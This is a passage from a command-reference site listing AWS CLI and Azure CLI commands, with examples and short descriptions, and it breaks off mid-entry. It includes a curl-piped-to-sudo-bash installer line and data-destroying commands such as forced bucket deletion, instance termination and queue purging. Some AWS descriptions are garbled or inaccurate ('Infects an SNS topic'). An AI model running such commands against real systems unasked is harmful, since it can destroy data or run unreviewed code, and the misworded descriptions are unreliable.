Systems Manager (SSM) ### aws ssm describe-parameters ```bash aws ssm describe-parameters ``` Returns a list of all parameters stored in the SSM Parameter Store, including their types and last modified dates. Utilize this to manage application configuration settings and to audit the usage of SecureString parameters. ### aws ssm start-session ```bash aws ssm start-session ``` Example: ```bash aws ssm start-session --target i-0123456789abcdef0 ``` Establishes a secure, encrypted shell connection to an EC2 instance via the SSM agent, bypassing the need for SSH keys. Leverage this for secure instance management to eliminate the need for opening port 22 in your security groups. ## KMS (Encryption) ### aws kms list-keys ```bash aws kms list-keys ``` Lists the unique identifiers for all Customer Master Keys (CMKs) available in the account and region. Use this to verify your encryption keys and to retrieve IDs for managing key policies or performing cryptographic operations. ### aws kms list-aliases ```bash aws kms list-aliases ``` Displays the friendly names (aliases) mapped to KMS keys, making it easier to identify keys by purpose. Apply this to map human-readable names to cryptic Key IDs for better management of encryption resources. ## Resource Groups (Tagging) ### aws resourcegroupstaggingapi get-resources ```bash aws resourcegroupstaggingapi get-resources ``` Example: ```bash aws resourcegroupstaggingapi get-resources --tag-filters Key=Environment,Values=Production ``` Queries the account for all resources that match specific tag criteria across multiple AWS services. Use this for cross-service inventory management and to ensure all resources comply with organizational tagging policies. ## Security (GuardDuty) ### aws guardduty list-detectors ```bash aws guardduty list-detectors ``` Lists the unique detector IDs for GuardDuty instances to verify that threat detection is enabled in the region. Use this ID as a prerequisite for querying findings or managing threat intelligence sets. ### aws guardduty list-findings ```bash aws guardduty list-findings ``` Example: ```bash aws guardduty list-findings --detector-id --finding-criteria '{"Criterion":{"severity":{"Gte":7}}}' ``` Retrieves security finding IDs from GuardDuty, filtered by severity or finding type to prioritize response. Focus on high-severity findings (7.0 - 8.9) to rapidly identify and remediate potential security breaches or compromises. ## Security (Inspector) ### aws inspector2 list-findings ```bash aws inspector2 list-findings ``` Lists vulnerability findings across EC2, Lambda, and ECR resources based on continuous scanning. Utilize this to identify software vulnerabilities and network reachability issues that require patching or configuration changes. ## Security (Security Hub) ### aws securityhub get-findings ```bash aws securityhub get-findings ``` Example: ```bash aws securityhub get-findings --filters '{"RecordState":[{"Value":"ACTIVE","Comparison":"EQUALS"}]}' ``` Aggregates and retrieves active security alerts and compliance checks from multiple AWS security services. Use this as a centralized dashboard for managing your overall security posture and remediating non-compliant resources. ## Blue Team (Audit) ### aws ec2 describe-security-groups --filters Name=ip-permission.cidr,Values=0.0.0.0/0 ```bash aws ec2 describe-security-groups --filters Name=ip-permission.cidr,Values=0.0.0.0/0 ``` Identifies all security groups containing rules that allow inbound traffic from any IP address on the internet. Run this frequently as a critical security audit to close unintended exposure points and maintain a hardened perimeter. ### aws iam list-mfa-devices ```bash aws iam list-mfa-devices ``` Example: ```bash aws iam list-mfa-devices --user-name Alice ``` Checks if a specific user has at least one active Multi-Factor Authentication (MFA) device configured. Use this to enforce MFA compliance and identify high-privilege users who are lacking an essential layer of security. ## WAF (Web Application Firewall) ### aws wafv2 list-web-acls ```bash aws wafv2 list-web-acls ``` Example: ```bash aws wafv2 list-web-acls --scope REGIONAL ``` Lists all Web Access Control Lists (Web ACLs) used to protect regional resources like ALBs or API Gateways. Apply this to manage your web application firewalls and verify that your public endpoints are protected by appropriate rule sets. ## Route53 (DNS) ### aws route53 list-hosted-zones ```bash aws route53 list-hosted-zones ``` Enumerates all public and private DNS hosted zones associated with your AWS account. Use this to manage your domain portfolio and verify the availability of DNS management zones for your applications. ### aws route53 list-resource-record-sets ```bash aws route53 list-resource-record-sets ``` Example: ```bash aws route53 list-resource-record-sets --hosted-zone-id Z123456789 ``` Lists the specific DNS records (A, CNAME, TXT, etc.) contained within a designated hosted zone. Utilize this to audit your DNS infrastructure and verify that domain routing is correctly configured for your services. ## Incident Response (Snapshot) ### aws ec2 create-snapshot ```bash aws ec2 create-snapshot ``` Example: ```bash aws ec2 create-snapshot --volume-id vol-12345678 --description "Forensic Snapshot" ``` Captures a point-in-time backup of an EBS volume to preserve data for forensic investigation or recovery. Execute this immediately during an incident to ensure you have a static copy of a potentially compromised system's filesystem. ## Incident Response (Isolation) ### aws ec2 modify-instance-attribute ```bash aws ec2 modify-instance-attribute ``` Example: ```bash aws ec2 modify-instance-attribute --instance-id i-12345 --groups sg-isolation-id ``` Replaces the existing security groups of an instance with a restricted 'isolation' group to cut off network access. Apply this during an active compromise to stop data exfiltration or lateral movement while keeping the instance running for analysis. ## Incident Response (Logs) ### aws ec2 create-flow-logs ```bash aws ec2 create-flow-logs ``` Example: ```bash aws ec2 create-flow-logs --resource-type VPC --resource-ids vpc-12345 --traffic-type ALL --log-destination-type cloud-watch-logs --log-group-name FlowLogs ``` Enables the capture of IP traffic data for network interfaces within a VPC for monitoring and troubleshooting. Use flow logs to analyze traffic patterns, identify malicious connections, and audit network compliance across your infrastructure. ## Advanced Filtering (JMESPath) ### aws ec2 describe-volumes --query ```bash aws ec2 describe-volumes --query ``` Example: ```bash aws ec2 describe-volumes --query "Volumes[?State!='in-use']" ``` Filters and lists all EBS volumes that are not currently attached to an instance, identifying potential waste. Run this regularly to find and delete orphaned volumes, helping to reduce unnecessary storage costs in your AWS bill. ### aws iam list-users --query ```bash aws iam list-users --query ``` Example: ```bash aws iam list-users --query "Users[?PasswordLastUsed!=null].{Name:UserName,LastUsed:PasswordLastUsed}" ``` Generates a filtered list of users who have actively used their passwords, showing their names and last login dates. Use this to identify stale IAM users who have not logged in recently and may be candidates for credential deactivation. ## Cost Management ### aws ce get-cost-and-usage ```bash aws ce get-cost-and-usage ``` Example: ```bash aws ce get-cost-and-usage --time-period Start=2023-01-01,End=2023-02-01 --granularity MONTHLY --metrics "BlendedCost" ``` Retrieves detailed cost and usage metrics from the AWS Cost Explorer API for a defined time window. Employ this command to programmatically monitor spending trends and generate monthly financial reports for your cloud resources. ## Organization ### aws organizations list-accounts ```bash aws organizations list-accounts ``` Provides a list of all AWS accounts that are members of your current AWS Organization. Use this from the management account to map your multi-account structure and track Account IDs across the enterprise. ## Auto Scaling ### aws autoscaling describe-auto-scaling-groups ```bash aws autoscaling describe-auto-scaling-groups ``` Describes the configurations of your Auto Scaling groups, including capacity limits and health check settings. Utilize this to monitor the scaling state of your applications and ensure that your high-availability targets are met. ### aws autoscaling set-desired-capacity ```bash aws autoscaling set-desired-capacity ``` Example: ```bash aws autoscaling set-desired-capacity --auto-scaling-group-name my-asg --desired-capacity 2 ``` Manually adjusts the desired number of instances in an Auto Scaling group to scale the environment up or down. Apply this for manual capacity adjustments during expected traffic spikes or to reduce costs during low-demand periods. ## Elastic Load Balancing ### aws elbv2 describe-load-balancers ```bash aws elbv2 describe-load-balancers ``` Returns information about Application, Network, and Gateway Load Balancers in your environment. Use this to retrieve the DNS names of your load balancers and to verify their operational state. ### aws elbv2 describe-target-health ```bash aws elbv2 describe-target-health ``` Example: ```bash aws elbv2 describe-target-health --target-group-arn arn:aws:elasticloadbalancing:... ``` Reports the health status of backend targets (such as EC2 instances) registered to a specific load balancer target group. Use this for troubleshooting application availability issues by identifying which instances are failing health checks. ## CloudFormation (IaC) ### aws cloudformation list-stacks ```bash aws cloudformation list-stacks ``` Example: ```bash aws cloudformation list-stacks --stack-status-filter CREATE_COMPLETE ``` Lists CloudFormation stacks based on their current status to provide an overview of deployed infrastructure. Employ this to track the state of your Infrastructure as Code deployments and identify stacks that require cleanup or updates. ### aws cloudformation describe-stack-resources ```bash aws cloudformation describe-stack-resources ``` Example: ```bash aws cloudformation describe-stack-resources --stack-name my-stack ``` Lists every AWS resource created and managed by a specific CloudFormation stack for detailed inventory mapping. Utilize this to trace which physical resources (e.g., specific EC2 IDs or S3 buckets) belong to a logical stack. ## Cleanup ### aws s3 rb ```bash aws s3 rb ``` Example: ```bash aws s3 rb s3://my-bucket --force ``` Deletes an S3 bucket and uses the --force flag to remove all contained objects simultaneously. Exercise extreme caution as this operation is permanent and cannot be undone; always verify bucket names before execution. ### aws ec2 terminate-instances ```bash aws ec2 terminate-instances ``` Example: ```bash aws ec2 terminate-instances --instance-ids i-1234567890abcdef0 ``` Permanently shuts down and deletes specified EC2 instances, releasing all associated hardware resources. Use this only when you no longer require the instance, as termination usually results in the deletion of the root EBS volume. ### aws cloudformation delete-stack ```bash aws cloudformation delete-stack ``` Example: ```bash aws cloudformation delete-stack --stack-name my-stack ``` Initiates the removal of a CloudFormation stack along with all the resources it previously provisioned. Apply this for efficient environment decommissioning to ensure no orphaned resources continue to incur costs. ## Dry Run (Testing) ### aws ec2 run-instances --dry-run ```bash aws ec2 run-instances --dry-run ``` Example: ```bash aws ec2 run-instances --dry-run --image-id ami-12345 --instance-type t2.micro ``` Validates that you have the required permissions and that the parameters are correct without actually launching an instance. Incorporate this into scripts and automation to prevent failed deployments and verify IAM authorization before runtime. ## Advanced Workflow (MFA) ### aws sts get-session-token ```bash aws sts get-session-token ``` Example: ```bash aws sts get-session-token --serial-number arn-of-mfa --token-code 123456 ``` Generates temporary security credentials that include an MFA-authenticated session for an IAM user. Use these credentials to perform actions that are protected by policies requiring Multi-Factor Authentication. ## Advanced Workflow (Assume Role) ### aws sts assume-role ```bash aws sts assume-role ``` Example: ```bash aws sts assume-role --role-arn arn:aws:iam::123456789012:role/RoleName --role-session-name MySession ``` Requests temporary security credentials for an IAM role to perform cross-account or cross-service operations. Utilize this to adopt a different permission set without sharing long-term access keys, enhancing overall security. ## Backup (EBS) ### aws ec2 create-image ```bash aws ec2 create-image ``` Example: ```bash aws ec2 create-image --instance-id i-12345 --name "My Server Backup" --no-reboot ``` Creates a machine image (AMI) from an existing instance, capturing both the root and data volumes for disaster recovery. Use the --no-reboot flag if you need to create the image while the instance is running, though this may affect filesystem consistency. ## Advanced Route53 & DNS ### aws route53 list-resource-record-sets ```bash aws route53 list-resource-record-sets ``` Example: ```bash aws route53 list-resource-record-sets --hosted-zone-id Z12345 ``` Extracts the absolute raw DNS routing matrices enabling deep auditing of CNAME, A, and TXT configurations. ## API Gateway & Edge ### aws apigateway get-rest-apis ```bash aws apigateway get-rest-apis ``` Inventories all serverless REST architectures currently mapped and proxying inbound HTTP requests to Lambda endpoints. ### aws apigateway create-deployment ```bash aws apigateway create-deployment ``` Example: ```bash aws apigateway create-deployment --rest-api-id abc123 --stage-name prod ``` Compiles and physically pushes staged API routing changes into the live, publicly reachable requested stage. ## CloudFront CDN ### aws cloudfront create-invalidation ```bash aws cloudfront create-invalidation ``` Example: ```bash aws cloudfront create-invalidation --distribution-id E123 --paths "/*" ``` Forces Edge locations worldwide to instantly dump their localized cached versions and re-pull fresh assets from the backend origin. ### aws cloudfront get-distribution-config ```bash aws cloudfront get-distribution-config ``` Example: ```bash aws cloudfront get-distribution-config --id E123 ``` Pulls the complex raw JSON ETag configurations managing WAF attachments, SSL certificates, and origin routing constraints. ## SQS Messaging ### aws sqs receive-message ```bash aws sqs receive-message ``` Example: ```bash aws sqs receive-message --queue-url https://sqs.reg.amazonaws.com/... --max-number-of-messages 10 ``` Reaches into an operational SQS Queue pulling raw asynchronous message payloads for debugging broken consumer services. ### aws sqs purge-queue ```bash aws sqs purge-queue ``` Example: ```bash aws sqs purge-queue --queue-url https://sqs.... ``` Immediately burns down and obliterates all pending unread messages idling inside an SQS queue structure. ## SNS Notifications ### aws sns publish ```bash aws sns publish ``` Example: ```bash aws sns publish --topic-arn arn:aws:sns:... --message "Server down" ``` Infects an SNS topic with a raw broadcast message, instantly triggering all associated fan-out targets (Email, SMS, Lambda hooks). ## Step Functions ### aws stepfunctions start-execution ```bash aws stepfunctions start-execution ``` Example: ```bash aws stepfunctions start-execution --state-machine-arn arn:... --input "{\"key\": \"value\"}" ``` Triggers complex automated multi-lambda state machine architectures providing seed JSON structures to begin algorithmic executions. ## Elasticache (Redis) ### aws elasticache describe-cache-clusters ```bash aws elasticache describe-cache-clusters ``` Example: ```bash aws elasticache describe-cache-clusters --show-cache-node-info ``` Uncovers the internal DNS endpoints, instance classes, and replication structures of extremely high-speed memory cache architectures. ## Athena (Data Lake) ### aws athena start-query-execution ```bash aws athena start-query-execution ``` Example: ```bash aws athena start-query-execution --query-string "SELECT * from cloudtrail_logs limit 10" ``` Executes raw distributed Serverless SQL queries directly against flat cold-storage S3 JSON/CSV data files. ## SSM Incident Manager ### aws ssm-incidents start-incident ```bash aws ssm-incidents start-incident ``` Example: ```bash aws ssm-incidents start-incident --response-plan-arn arn:aws:ssm-incidents... ``` Invokes maximum-level AWS runbook automation triggering global organizational alerts natively bypassing standard pagers. ## Related tools - [Azure CLI](https://terminal.rokibulroni.com/tool/cloud/az-cli) - [Google Cloud CLI](https://terminal.rokibulroni.com/tool/cloud/gcloud) - [kubectl](https://terminal.rokibulroni.com/tool/cloud/kubectl) # Tool: Azure CLI > Microsoft’s cross-platform CLI for Azure: manage subscriptions, Entra ID, VMs, storage and networking, and review security posture. - Category: Cloud - Commands: 160 - Page: https://terminal.rokibulroni.com/tool/cloud/az-cli - Homepage: https://learn.microsoft.com/cli/azure/ - Documentation: https://learn.microsoft.com/cli/azure/reference-index - Tags: Azure, cloud, Entra ID ## Install - brew: `brew install azure-cli` - windows: `winget install Microsoft.AzureCLI` - other: `curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash` ## Basic Syntax and Help ### az --help ```bash az --help ``` Displays the global help menu and available command groups. ### az version ```bash az version ``` Shows the installed Azure CLI version and dependent libraries. ### az upgrade ```bash az upgrade ``` Example: ```bash az upgrade --yes ``` Updates the Azure CLI to the latest available version automatically. ## Configuration ### az configure ```bash az configure ``` Interactively manages default settings such as output format and logging. ## Extensions ### az extension add ```bash az extension add ``` Example: ```bash az extension add --name bastion ``` Installs a specific Azure CLI extension to add functionality. ## Authentication ### az login ```bash az login ``` Initiates the interactive login process via the default web browser. ### az login --use-device-code ```bash az login --use-device-code ``` Logs in using a device code, suitable for terminals without browsers. ### az login --service-principal ```bash az login --service-principal ``` Example: ```bash az login --service-principal -u -p --tenant ``` Authenticates using a service principal for automation workflows. ## Subscription Management ### az account list ```bash az account list ``` Example: ```bash az account list --output table ``` Lists all subscriptions available to the logged-in account. ### az account set ```bash az account set ``` Example: ```bash az account set --subscription ``` Sets the active subscription for subsequent commands. ### az account show ```bash az account show ``` Displays details of the currently active subscription. ## Resource Group Management ### az group create ```bash az group create ``` Example: ```bash az group create --name MyResourceGroup --location eastus ``` Creates a new resource group in a specific region. ### az group list ```bash az group list ``` Example: ```bash az group list --output table ``` Lists all resource groups in the current subscription. ### az group show ```bash az group show ``` Example: ```bash az group show --name MyResourceGroup ``` Gets the metadata and properties of a specific resource group. ### az resource list ```bash az resource list ``` Example: ```bash az resource list --resource-group MyResourceGroup ``` Lists all resources contained within a specific resource group. ### az group lock create ```bash az group lock create ``` Example: ```bash az group lock create --lock-type CanNotDelete --name LockGroup --resource-group MyResourceGroup ``` Applies a management lock to prevent accidental deletion of the group. ## Compute Operations ### az vm list-skus ```bash az vm list-skus ``` Example: ```bash az vm list-skus --location eastus --output table ``` Lists available virtual machine sizes and SKUs in a region. ### az vm create ```bash az vm create ``` Example: ```bash az vm create --resource-group MyRG --name MyVM --image Ubuntu2204 --admin-username azureuser --generate-ssh-keys ``` Creates a Linux virtual machine with SSH key authentication. ### az vm list ```bash az vm list ``` Example: ```bash az vm list --show-details --output table ``` Lists all VMs with their power state and IP details. ### az vm show ```bash az vm show ``` Example: ```bash az vm show --resource-group MyRG --name MyVM ``` Retrieves detailed configuration information for a specific VM. ### az vm open-port ```bash az vm open-port ``` Example: ```bash az vm open-port --resource-group MyRG --name MyVM --port 80 ``` Opens a network port on the VM's associated network security group. ### az vm stop ```bash az vm stop ``` Example: ```bash az vm stop --resource-group MyRG --name MyVM ``` Power off a virtual machine (deallocates compute resources). ### az vm start ```bash az vm start ``` Example: ```bash az vm start --resource-group MyRG --name MyVM ``` Starts a stopped virtual machine. ### az vm run-command invoke ```bash az vm run-command invoke ``` Example: ```bash az vm run-command invoke --command-id RunShellScript --name MyVM --resource-group MyRG --scripts "uname -a" ``` Executes a shell script inside the VM using the VM Agent. ### az disk list ```bash az disk list ``` Example: ```bash az disk list --resource-group MyRG ``` Lists managed disks associated with a resource group. ### az snapshot create ```bash az snapshot create ``` Example: ```bash az snapshot create --name MySnapshot --resource-group MyRG --source MyDisk ``` Creates a point-in-time snapshot of a managed disk. ## Network Management ### az network vnet create ```bash az network vnet create ``` Example: ```bash az network vnet create --resource-group MyRG --name MyVNet --address-prefix 10.0.0.0/16 ``` Creates a virtual network with a specified address space. ### az network vnet subnet create ```bash az network vnet subnet create ``` Example: ```bash az network vnet subnet create --resource-group MyRG --vnet-name MyVNet --name MySubnet --address-prefixes 10.0.1.0/24 ``` Adds a subnet to an existing virtual network. ### az network public-ip create ```bash az network public-ip create ``` Example: ```bash az network public-ip create --resource-group MyRG --name MyPublicIP --sku Standard ``` Creates a public IP address resource. ### az network nsg create ```bash az network nsg create ``` Example: ```bash az network nsg create --resource-group MyRG --name MyNSG ``` Creates a Network Security Group for traffic filtering. ### az network nsg rule create ```bash az network nsg rule create ``` Example: ```bash az network nsg rule create --resource-group MyRG --nsg-name MyNSG --name AllowSSH --priority 1000 --destination-port-ranges 22 --access Allow --protocol Tcp ``` Adds an inbound security rule to an NSG. ### az network nsg rule list ```bash az network nsg rule list ``` Example: ```bash az network nsg rule list --resource-group MyRG --nsg-name MyNSG ``` Lists all rules defined in a Network Security Group. ### az network nic create ```bash az network nic create ``` Example: ```bash az network nic create --resource-group MyRG --name MyNIC --vnet-name MyVNet --subnet MySubnet --network-security-group MyNSG ``` Creates a network interface card and attaches it to a subnet and NSG. ## Storage Management ### az storage account create ```bash az storage account create ``` Example: ```bash az storage account create --name mystorageacct --resource-group MyRG --location eastus --sku Standard_LRS ``` Creates a general-purpose storage account. ### az storage account keys list ```bash az storage account keys list ``` Example: ```bash az storage account keys list --resource-group MyRG --account-name mystorageacct ``` Lists the access keys for a storage account (Handle with care). ### az storage container create ```bash az storage container create ``` Example: ```bash az storage container create --name mycontainer --account-name mystorageacct ``` Creates a blob container within a storage account. ### az storage blob upload ```bash az storage blob upload ``` Example: ```bash az storage blob upload --container-name mycontainer --file /path/to/file --name myblob --account-name mystorageacct ``` Uploads a local file to a storage container as a blob. ### az storage blob list ```bash az storage blob list ``` Example: ```bash az storage blob list --container-name mycontainer --account-name mystorageacct --output table ``` Lists all blobs contained in a specific container. ## Identity and Access ### az ad user list ```bash az ad user list ``` Example: ```bash az ad user list --output table ``` Lists all users in the Azure Active Directory tenant. ### az ad user show ```bash az ad user show ``` Example: ```bash az ad user show --id user@example.com ``` Gets specific details about an Azure AD user. ### az ad group create ```bash az ad group create ``` Example: ```bash az ad group create --display-name MyGroup --mail-nickname MyGroup ``` Creates a new security group in Azure AD. ### az ad group member add ```bash az ad group member add ``` Example: ```bash az ad group member add --group MyGroup --member-id ``` Adds a user or service principal to a group. ### az ad sp create-for-rbac ```bash az ad sp create-for-rbac ``` Example: ```bash az ad sp create-for-rbac --name MyServicePrincipal ``` Creates a service principal and assigns it a role. ## Role-Based Access Control ### az role definition list ```bash az role definition list ``` Example: ```bash az role definition list --name "Contributor" ``` Lists details of a specific role definition. ### az role assignment create ```bash az role assignment create ``` Example: ```bash az role assignment create --assignee --role Reader --scope /subscriptions/ ``` Assigns a role to a user or principal at a specific scope. ### az role assignment list ```bash az role assignment list ``` Example: ```bash az role assignment list --assignee --all ``` Lists all roles assigned to a specific user. ## Key Vault ### az keyvault create ```bash az keyvault create ``` Example: ```bash az keyvault create --name MyKeyVault --resource-group MyRG --location eastus ``` Creates an Azure Key Vault for managing secrets and keys. ### az keyvault secret set ```bash az keyvault secret set ``` Example: ```bash az keyvault secret set --vault-name MyKeyVault --name MySecret --value "Sup3rS3cur3" ``` Stores a secret value in the Key Vault. ### az keyvault secret show ```bash az keyvault secret show ``` Example: ```bash az keyvault secret show --vault-name MyKeyVault --name MySecret ``` Retrieves the value of a secret from the Key Vault. ## App Service ### az webapp list ```bash az webapp list ``` Example: ```bash az webapp list --resource-group MyRG ``` Lists all web applications in a resource group. ### az appservice plan create ```bash az appservice plan create ``` Example: ```bash az appservice plan create --name MyPlan --resource-group MyRG --sku B1 ``` Creates an App Service plan to host web apps. ### az webapp create ```bash az webapp create ``` Example: ```bash az webapp create --resource-group MyRG --plan MyPlan --name MyUniqueAppName --runtime "NODE|18-lts" ``` Creates a web application running a specific runtime. ## Containers (AKS) ### az aks create ```bash az aks create ``` Example: ```bash az aks create --resource-group MyRG --name MyCluster --node-count 1 --generate-ssh-keys ``` Creates a managed Kubernetes cluster. ### az aks get-credentials ```bash az aks get-credentials ``` Example: ```bash az aks get-credentials --resource-group MyRG --name MyCluster ``` Configures the local kubectl to connect to the AKS cluster. ## Container Registry ### az acr create ```bash az acr create ``` Example: ```bash az acr create --resource-group MyRG --name MyRegistry --sku Basic ``` Creates an Azure Container Registry. ### az acr login ```bash az acr login ``` Example: ```bash az acr login --name MyRegistry ``` Logs in to the container registry via the Docker CLI. ## Databases (SQL) ### az sql server create ```bash az sql server create ``` Example: ```bash az sql server create --name myserver --resource-group MyRG --location eastus --admin-user myadmin --admin-password ``` Creates a logical SQL server. ### az sql db create ```bash az sql db create ``` Example: ```bash az sql db create --resource-group MyRG --server myserver --name mydb --service-objective S0 ``` Creates a SQL database within a logical server. ### az sql server firewall-rule create ```bash az sql server firewall-rule create ``` Example: ```bash az sql server firewall-rule create --resource-group MyRG --server myserver --name AllowMyIP --start-ip-address --end-ip-address ``` Allows access to the SQL server from a specific IP address. ## Monitoring ### az monitor activity-log list ```bash az monitor activity-log list ``` Example: ```bash az monitor activity-log list --offset 1h ``` Lists activity log events for the subscription from the last hour. ### az monitor metrics list ```bash az monitor metrics list ``` Example: ```bash az monitor metrics list --resource --metric "Percentage CPU" ``` Retrieves metric definitions and values for a resource. ### az monitor diagnostic-settings create ```bash az monitor diagnostic-settings create ``` Example: ```bash az monitor diagnostic-settings create --name MyDiag --resource --logs '[{"category": "Write", "enabled": true}]' --workspace ``` Configures streaming of logs to a Log Analytics workspace. ## Output Formatting ### az group list --output json ```bash az group list --output json ``` Outputs command results in JSON format. ### az group list --output table ```bash az group list --output table ``` Outputs command results in a human-readable ASCII table. ### az group list --output tsv ```bash az group list --output tsv ``` Outputs results in Tab-Separated Values, useful for scripting variables. ## JMESPath Querying ### az vm list --query ```bash az vm list --query ``` Example: ```bash az vm list --query "[].{Name:name, OS:storageProfile.osDisk.osType}" ``` Filters and projects specific fields from the output using JMESPath. ### az vm list --query (Filter) ```bash az vm list --query (Filter) ``` Example: ```bash az vm list --query "[?location=='eastus']" ``` Filters the list to show only resources in a specific location. ## Resource Tagging ### az tag update ```bash az tag update ``` Example: ```bash az tag update --resource-id --operation Merge --tags Dept=IT ``` Updates tags on a resource without replacing existing tags. ### az resource list --tag ```bash az resource list --tag ``` Example: ```bash az resource list --tag Dept=IT ``` Lists all resources that have a specific tag key and value. ## Policy and Compliance ### az policy definition list ```bash az policy definition list ``` Example: ```bash az policy definition list --query "[?policyType=='BuiltIn']" ``` Lists built-in Azure policy definitions. ### az policy assignment create ```bash az policy assignment create ``` Example: ```bash az policy assignment create --name 'audit-vm-managed-disks' --policy --scope ``` Assigns a policy to a scope to enforce compliance. ## Blue Team Validation (Network) ### az network nsg rule list (Audit) ```bash az network nsg rule list (Audit) ``` Example: ```bash az network nsg rule list --query "[?access=='Allow' && direction=='Inbound' && destinationPortRange=='*']" ``` Audits NSGs to find rules that allow all inbound traffic. ### az network public-ip list ```bash az network public-ip list ``` Example: ```bash az network public-ip list --query "[].{Name:name, IP:ipAddress, Associated:ipConfiguration.id}" ``` Lists all public IP addresses and shows what they are attached to. ### az network watcher test-ip-flow ```bash az network watcher test-ip-flow ``` Example: ```bash az network watcher test-ip-flow --vm --direction Inbound --protocol TCP --local-port 80 --remote-ip ``` Verifies if traffic is allowed or denied to a VM based on effective security rules. ## Blue Team Validation (Identity) ### az role assignment list (Privileged) ```bash az role assignment list (Privileged) ``` Example: ```bash az role assignment list --role "Owner" --include-inherited ``` Audits all users who have the Owner role on the subscription. ### az ad user list (Guest) ```bash az ad user list (Guest) ``` Example: ```bash az ad user list --filter "userType eq 'Guest'" ``` Identifies all guest users existing in the Azure Active Directory. ## Blue Team Validation (Storage) ### az storage account list (Public Access) ```bash az storage account list (Public Access) ``` Example: ```bash az storage account list --query "[?allowBlobPublicAccess==`true`].{Name:name}" ``` Finds storage accounts that allow public access to blobs. ## Blue Team Validation (KeyVault) ### az keyvault list (Deleted) ```bash az keyvault list (Deleted) ``` Example: ```bash az keyvault list-deleted ``` Lists soft-deleted Key Vaults to detect potential data loss or recovery needs. ## Security Posture ### az security alert list ```bash az security alert list ``` Example: ```bash az security alert list --status Active ``` Lists active security alerts from Microsoft Defender for Cloud. ### az security score list ```bash az security score list ``` Retrieves the current Secure Score for the subscription. ### az security jit-policy list ```bash az security jit-policy list ``` Lists Just-In-Time access policies configured for VMs. ## Incident Response (Logs) ### az monitor activity-log list (Filter) ```bash az monitor activity-log list (Filter) ``` Example: ```bash az monitor activity-log list --caller --start-time ``` Investigates all actions performed by a specific user since a given time. ## Incident Response (Compute) ### az vm run-command invoke (Forensics) ```bash az vm run-command invoke (Forensics) ``` Example: ```bash az vm run-command invoke --command-id RunShellScript --name --resource-group --scripts "netstat -anp" ``` Remotely executes netstat on a compromised VM to identify active connections. ### az snapshot create (Forensics) ```bash az snapshot create (Forensics) ``` Example: ```bash az snapshot create --name ForensicSnap --resource-group --source ``` Creates a forensic copy of a disk for offline analysis. ## Incident Response (Network) ### az network watcher packet-capture create ```bash az network watcher packet-capture create ``` Example: ```bash az network watcher packet-capture create --vm --resource-group --name Capture1 ``` Starts a packet capture on a VM to analyze network traffic patterns. ## Automation ### az deployment group create ```bash az deployment group create ``` Example: ```bash az deployment group create --resource-group MyRG --template-file main.bicep ``` Deploys infrastructure as code using an ARM template or Bicep file. ### az deployment group validate ```bash az deployment group validate ``` Example: ```bash az deployment group validate --resource-group MyRG --template-file main.bicep ``` Validates a template syntax and configuration without deploying it. ### az deployment operation list ```bash az deployment operation list ``` Example: ```bash az deployment operation list --name --resource-group MyRG ``` Lists the individual operations within a deployment for debugging. ## Managed Identity ### az identity create ```bash az identity create ``` Example: ```bash az identity create --resource-group MyRG --name MyUserAssignedID ``` Creates a User-Assigned Managed Identity. ### az vm identity assign ```bash az vm identity assign ``` Example: ```bash az vm identity assign --resource-group MyRG --name MyVM --identities ``` Assigns a managed identity to a virtual machine. ## Advanced Networking ### az network lb create ```bash az network lb create ``` Example: ```bash az network lb create --resource-group MyRG --name MyLB --sku Standard ``` Creates a standard Layer 4 Load Balancer. ### az network lb probe create ```bash az network lb probe create ``` Example: ```bash az network lb probe create --lb-name MyLB --resource-group MyRG --name HealthProbe --protocol Tcp --port 80 ``` Creates a health probe to monitor backend instances. ### az network lb rule create ```bash az network lb rule create ``` Example: ```bash az network lb rule create --lb-name MyLB --resource-group MyRG --name Rule1 --protocol Tcp --frontend-port 80 --backend-port 80 --probe-name HealthProbe ``` Creates a load balancing rule forwarding traffic from frontend to backend. ### az network application-gateway create ```bash az network application-gateway create ``` Example: ```bash az network application-gateway create --resource-group MyRG --name MyAppGW --sku Standard_v2 ``` Creates a Layer 7 Application Gateway for web traffic management. ## Advanced Storage ### az storage share create ```bash az storage share create ``` Example: ```bash az storage share create --name myshare --account-name mystorageacct ``` Creates an Azure File Share. ### az storage message put ```bash az storage message put ``` Example: ```bash az storage message put --queue-name myqueue --content "Hello World" --account-name mystorageacct ``` Adds a message to an Azure Storage Queue. ## Advanced Compute ### az vm image list ```bash az vm image list ``` Example: ```bash az vm image list --offer Ubuntu --all --output table ``` Lists all available VM images for a specific offer. ### az vm availability-set create ```bash az vm availability-set create ``` Example: ```bash az vm availability-set create --resource-group MyRG --name MyAvSet ``` Creates an availability set to ensure high availability of VMs. ## Cost Management ### az consumption usage list ```bash az consumption usage list ``` Example: ```bash az consumption usage list --start-date 2023-01-01 --end-date 2023-01-31 ``` Lists usage details for billing analysis. ### az consumption budget create ```bash az consumption budget create ``` Example: ```bash az consumption budget create --amount 100 --budget-name MyBudget --category cost --start-date 2023-01-01 --time-grain Monthly ``` Creates a budget to monitor spending. ## DevSecOps ### az pipelines list ```bash az pipelines list ``` Example: ```bash az pipelines list --organization https://dev.azure.com/myorg --project myproject ``` Lists Azure DevOps pipelines (requires azure-devops extension). ### az repos list ```bash az repos list ``` Example: ```bash az repos list --organization https://dev.azure.com/myorg --project myproject ``` Lists Git repositories in Azure DevOps. ## Function Apps ### az functionapp create ```bash az functionapp create ``` Example: ```bash az functionapp create --resource-group MyRG --consumption-plan-location eastus --runtime python --runtime-version 3.9 --functions-version 4 --name MyFuncApp --storage-account mystorageacct ``` Creates a serverless Function App. ### az functionapp deployment source config-zip ```bash az functionapp deployment source config-zip ``` Example: ```bash az functionapp deployment source config-zip --resource-group MyRG --name MyFuncApp --src app.zip ``` Deploys code to a Function App from a zip file. ## Data & Analytics ### az cosmosdb create ```bash az cosmosdb create ``` Example: ```bash az cosmosdb create --name mycosmos --resource-group MyRG ``` Creates a Cosmos DB account. ### az eventhubs namespace create ```bash az eventhubs namespace create ``` Example: ```bash az eventhubs namespace create --resource-group MyRG --name MyEventHubNS ``` Creates an Event Hubs namespace for data ingestion. ## Security Auditing (Disk) ### az disk list (Encryption) ```bash az disk list (Encryption) ``` Example: ```bash az disk list --query "[?encryptionSettingsCollection.enabled!=`true`].{Name:name, Encrypted:encryptionSettingsCollection.enabled}" ``` Audits managed disks to find those without encryption enabled. ## Security Auditing (SQL) ### az sql server audit-policy show ```bash az sql server audit-policy show ``` Example: ```bash az sql server audit-policy show --resource-group MyRG --server myserver ``` Checks the auditing policy of a SQL server. ## Advanced Security ### az keyvault certificate create ```bash az keyvault 